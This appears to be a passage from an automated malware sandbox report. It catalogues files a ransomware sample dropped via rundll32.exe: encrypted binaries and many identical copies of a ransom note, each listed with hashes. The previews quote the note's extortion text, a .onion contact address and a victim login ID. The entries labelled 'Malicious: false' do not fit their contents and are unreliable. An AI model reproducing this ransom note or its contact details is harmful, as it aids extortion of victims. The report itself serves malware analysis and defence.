SHA-512:	E1FC031334569227D6893DD959D64769677EEFDFA9D0631447C104EBC66A9CEF3497314603A83D209CD2B7616CF137F6B1F7302EC16DA9B30B720870ED83FEB4
Malicious:	false
Preview:	..f.x`nc..0.....\|.l...gx..(....+.Q.R.......;.}..c..oV..d...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......R...$.................@...................._...y`nc..4.......o........(....+.Q.R.......;.}..c..oV..............h&..................`....\|...)...........$..........................(....p..8............,..............................{.{..`ncQ.2.....\|.n...gx...(....+.Q.r........Z.}Qm..c..oV.................@..@.data...4#...`.......<..............@....pdata..`............J..............@..@.00cfg..(............d..........U...9`n#9.\\|....u.l..:dx...(..+.Q.R.......;......bo\|...W.......h.................._RDATA...............j..............@..@.rsrc................l..............@..@.reloc...............t..U...y`nc..0.....\|.l...gx...(....+.Q.R.......;.}..c..oV......................................................................................................................................U...y`nc..0.....\|.l...gx...(....+.Q.R...

C:\Program Files (x86)\Mozilla Maintenance Service\updater.ini

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1516
Entropy (8bit):	7.593619590267399
Encrypted:	false
SSDEEP:	24:BEs8CrmO99TFrV6uTuH1RWWz/CAmRCSPgGOMYhenGdMJspYbhUpCj45jc3n8OS:BXrmO1RZT6WWDYOh+PGpYbhUpCt9S
MD5:	98FFC9E4CEB9C5B57239116D568FE53C
SHA1:	69941016D13CF905212B86935BDB1DFCEF81864B
SHA-256:	D81D259BB19F961B6B673D08D871E12E120F01F88DDC349D30967CF206ABE50F
SHA-512:	D6B6D88ECD4107431155A9C49083B300A16A672101CC3CCBDAB111402C9632A1FB0F226BAC9D6382EF3302BC8D6AE4FBB52A32D711CBCA94D0F1F678829C81F1
Malicious:	false
Preview:	..a.2..u.}9.4..A..q.@.......G...9U=..i.^;4..............zc...U..`.K.eV.l?.g.N........2h......4U&..i.^.....W...........m..D.`.).1r.\|P.4..I....]....`..G...#U&.\=.^'%..............q ......9.o.O!U[2.g..L....A...[z...)..`Mi.W~..!6..B........s2..E..q...!{.jP.z.....E.T...}..K...!. .^=...=q...W.]......z/..R..`.a.e\|.xz.{..K...[.....g..D1..#.,.Xs.:"..F.._.....lf.....`.5.+{.l?.G..S..R.W....k..Q...m.&..u..o%...Z.........y\|...E..{.a. h.f5.4.....M.^...=g..C..".i.Vh... <..S...6......Pf...O..\|.a.:.n..4.....E......\|..K...".i.Vh...!=............xk..Z..e.a.1h.a=.m..@..Z.W...[z..Q\..8U".\m...&"..D..B...r!.....Y....T!5z.\|.....[......b..D...4.i.M\|..^88...W.........6l.....e.".)..4z.f..L..S.G....k..L...).,..s.^?.._...B...s!..a..e.".1s.az.{..D..T......\|..K\..).=..u.^-4...E......6n..I..'...,i.4z.a.......\.......H...$.,.Mr..^ #...E.......o/...T..).(. y.`(.4.....R......b..D...#U,.\~..-=..^.........r/.....o.6.7.Uz.u....g.A....o..r...GNi.Ax.

C:\Program Files (x86)\Reference Assemblies\Microsoft\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Reference Assemblies\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Windows Defender\en-GB\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Windows Defender\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Windows Mail\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Windows Media Player\Media Renderer\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Windows Media Player\Network Sharing\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Windows Media Player\Skins\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Windows Media Player\Visualizations\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Windows Media Player\en-GB\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Windows Media Player\en-US\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Windows Media Player\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Windows Multimedia Platform\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Windows NT\Accessories\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Windows NT\TableTextService\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Windows NT\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Windows Photo Viewer\en-GB\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Windows Photo Viewer\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
